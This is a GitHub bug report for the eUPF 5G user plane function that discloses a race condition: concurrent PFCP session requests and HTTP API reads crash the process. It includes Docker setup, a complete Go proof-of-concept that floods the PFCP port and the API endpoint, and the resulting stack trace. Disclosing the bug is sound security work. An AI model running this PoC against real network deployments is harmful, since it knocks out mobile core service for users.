Skip to content

[Bug]: UPF crash due to concurrent map access in PFCP association API/api/v1/pfcp_associations/full #632

Description

@LinZiyuu

Describe the bug
UPF crashes due to concurrent map read and write operations when PFCP session establishment requests are processed simultaneously with HTTP API requests to /api/v1/pfcp_associations/full, leading to DoS.
To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \
  -v /sys/fs/bpf:/sys/fs/bpf \
  -v /sys/kernel/debug:/sys/kernel/debug:ro \
  -e UPF_INTERFACE_NAME=lo \
  -e UPF_N3_ADDRESS=127.0.0.1 \
  -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
  -e UPF_PFCP_NODE_ID=127.0.0.1 \
  -e UPF_API_ADDRESS="0.0.0.0:8080" \
  -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
  --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp
  1. Create main.go:
package main

import (
	"context"
	"fmt"
	"log"
	"math/rand"
	"net"
	"net/http"
	"sync"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))

func main() {
	duration := 30 * time.Second
	pfcpAddr := "127.0.0.1:8805"
	apiURL := "http://127.0.0.1:8080/api/v1/pfcp_associations/full"

	ctx, cancel := context.WithTimeout(context.Background(), duration)
	defer cancel()

	var wg sync.WaitGroup

	// PFCP writer: 1 goroutine
	wg.Add(1)
	go func() {
		defer wg.Done()
		stressPfcp(ctx, pfcpAddr)
	}()

	// HTTP readers: 10 goroutines for higher concurrency
	for i := 0; i < 10; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			hammerEndpoint(ctx, apiURL)
		}()
	}

	wg.Wait()
	log.Println("Race PoC finished; check eUPF logs for concurrent map panic.")
}

func hammerEndpoint(ctx context.Context, url string) {
	client := &http.Client{Timeout: 2 * time.Second}
	for {
		select {
		case <-ctx.Done():
			return
		default:
		}
		resp, err := client.Get(url)
		if err == nil {
			resp.Body.Close()
		}
	}
}

func stressPfcp(ctx context.Context, pfcpAddr string) {
	conn, err := dialPfcp(pfcpAddr)
	if err != nil {
		log.Printf("pfcp dial failed: %v", err)
		return
	}
	defer conn.Close()

	seq := uint32(1)
	if _, err := sendAssociation(conn, seq); err != nil {
		log.Printf("association setup failed: %v", err)
		return
	}
	seq++

	for {
		select {
		case <-ctx.Done():
			return
		default:
		}

		seid := rnd.Uint64() | 1
		req := message.NewSessionEstablishmentRequest(0, 0,
			seid, 1, 0,
			ie.NewNodeID("", "", "race-smf"),
			ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
			ie.NewCreateFAR(
				ie.NewFARID(1),
				ie.NewApplyAction(2), // FORW
				ie.NewForwardingParameters(
					ie.NewDestinationInterface(ie.DstInterfaceCore),
					ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "10.200.0.1", "", 0, 0, 0),
				),
			),
			ie.NewCreatePDR(
				ie.NewPDRID(1),
				ie.NewPrecedence(255),
				ie.NewPDI(
					ie.NewSourceInterface(ie.SrcInterfaceAccess),
					ie.NewUEIPAddress(2, fmt.Sprintf("10.60.%d.%d", rnd.Intn(200), rnd.Intn(200)), "", 0, 0),
				),
				ie.NewFARID(1),
			),
		)
		if err := sendMessage(conn, req); err != nil {
			log.Printf("session establishment failed: %v", err)
		}
		time.Sleep(1 * time.Millisecond)
	}
}

func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
	raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
	if err != nil {
		return nil, err
	}
	return net.DialUDP("udp", nil, raddr)
}

func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
	msg := message.NewAssociationSetupRequest(seq,
		ie.NewNodeID("", "", "poc-smf"),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewUPFunctionFeatures(0, 0, 0),
	)
	return sendAndReceive(conn, msg)
}

func sendMessage(conn *net.UDPConn, msg message.Message) error {
	buf := make([]byte, msg.MarshalLen())
	if err := msg.MarshalTo(buf); err != nil {
		return err
	}
	_, err := conn.Write(buf)
	return err
}

func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
	if err := sendMessage(conn, msg); err != nil {
		return nil, err
	}
	respBuf := make([]byte, 4096)
	_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	n, _, err := conn.ReadFromUDP(respBuf)
	if err != nil {
		return nil, err
	}
	return message.Parse(respBuf[:n])
}
  1. Run the PoC:
go run main.go
  1. Check eUPF logs for panic:
sudo docker logs eupf

Expected behavior
The PFCP association handler and HTTP API handler must use proper synchronization mechanisms (e.g., mutexes, read-write locks, or sync.Map) when accessing shared map structures. Concurrent map read and write operations should be prevented, and the UPF should gracefully handle concurrent requests without crashing.

Logs

[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 367, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.
[GIN] 2025/11/13 - 04:30:01 | 200 |     650.854µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 |     651.526µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 |       959.8µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[90m2025/11/13 04:30:01[0m [32mINF[0m Got Session Establishment Request from: 127.0.0.1.
[90m2025/11/13 04:30:01[0m [32mINF[0m 
Session Establishment Request:
  CreatePDR ID: 1 
    FAR ID: 976 
    Source Interface: 0 
    UE IPv4 Address: 10.60.0.2 
  CreateFAR ID: 976 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

fatal error: concurrent map iteration and map write
[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 976, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.

goroutine 34 [running]:
reflect.mapiternext(0x4a98e9?)
        /usr/local/go/src/runtime/map.go:1392 +0x13
reflect.(*MapIter).Next(0xc000312ee0?)
        /usr/local/go/src/reflect/value.go:2005 +0x74
encoding/json.mapEncoder.encode({0xc0009e1750?}, 0xc001f826c0, {0xd59e20?, 0xc0000ae120?, 0xa?}, {0xb?, 0x0?})
        /usr/local/go/src/encoding/json/encode.go:745 +0x334
encoding/json.structEncoder.encode({{{0xc00049f208, 0x7, 0x8}, 0xc0004ad1a0, 0xc0004ad200}}, 0xc001f826c0, {0xe1f140?, 0xc0000ae0f0?, 0xc0000ae0f0?}, {0x0, ...})
        /usr/local/go/src/encoding/json/encode.go:704 +0x21e
encoding/json.ptrEncoder.encode({0xc000313260?}, 0xc001f826c0, {0xdfb0a0?, 0xc0000ae0f0?, 0xc00113c001?}, {0x48?, 0x33?})
        /usr/local/go/src/encoding/json/encode.go:876 +0x23c
encoding/json.mapEncoder.encode({0xc001c4c000?}, 0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0xd59d60?}, {0x20?, 0x81?})
        /usr/local/go/src/encoding/json/encode.go:761 +0x4f7
encoding/json.(*encodeState).reflectValue(0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0x150?}, {0x40?, 0xc5?})
        /usr/local/go/src/encoding/json/encode.go:321 +0x73
encoding/json.(*encodeState).marshal(0xc0003135f8?, {0xd59d60?, 0xc00032e780?}, {0x7a?, 0xc0?})
        /usr/local/go/src/encoding/json/encode.go:297 +0xc5
encoding/json.Marshal({0xd59d60, 0xc00032e780})
        /usr/local/go/src/encoding/json/encode.go:163 +0xd0
encoding/json.MarshalIndent({0xd59d60?, 0xc00032e780?}, {0x0, 0x0}, {0xe6ef2d, 0x4})
        /usr/local/go/src/encoding/json/encode.go:176 +0x47
github.com/gin-gonic/gin/render.IndentedJSON.Render({{0xd59d60?, 0xc00032e780?}}, {0x7d4de70dcfc8, 0xc001f1a200})
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/render/json.go:79 +0x83
github.com/gin-gonic/gin.(*Context).Render(0xc001f1a200, 0xc8, {0xfffc68, 0xc000858150})
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:926 +0xcd
github.com/gin-gonic/gin.(*Context).IndentedJSON(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:946
github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpAssociationsFull(...)
        /app/cmd/api/rest/pfcp_associations.go:45
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.CustomRecoveryWithWriter.func1(0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/recovery.go:102 +0x7a
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.LoggerWithConfig.func1(0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/logger.go:240 +0xdd
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.(*Engine).handleHTTPRequest(0xc0004b4000, 0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:620 +0x66e
github.com/gin-gonic/gin.(*Engine).ServeHTTP(0xc0004b4000, {0x1002b10, 0xc0000fa620}, 0xc000856480)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:576 +0x1b2
net/http.serverHandler.ServeHTTP({0xc000121290?}, {0x1002b10?, 0xc0000fa620?}, 0x6?)
        /usr/local/go/src/net/http/server.go:3142 +0x8e
net/http.(*conn).serve(0xc0000f82d0, {0x10056d0, 0xc00032f6b0})
        /usr/local/go/src/net/http/server.go:2044 +0x5e8
created by net/http.(*Server).Serve in goroutine 62
        /usr/local/go/src/net/http/server.go:3290 +0x4b4

goroutine 1 [select, 1 minutes]:
main.main()
        /app/cmd/main.go:144 +0x1255

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions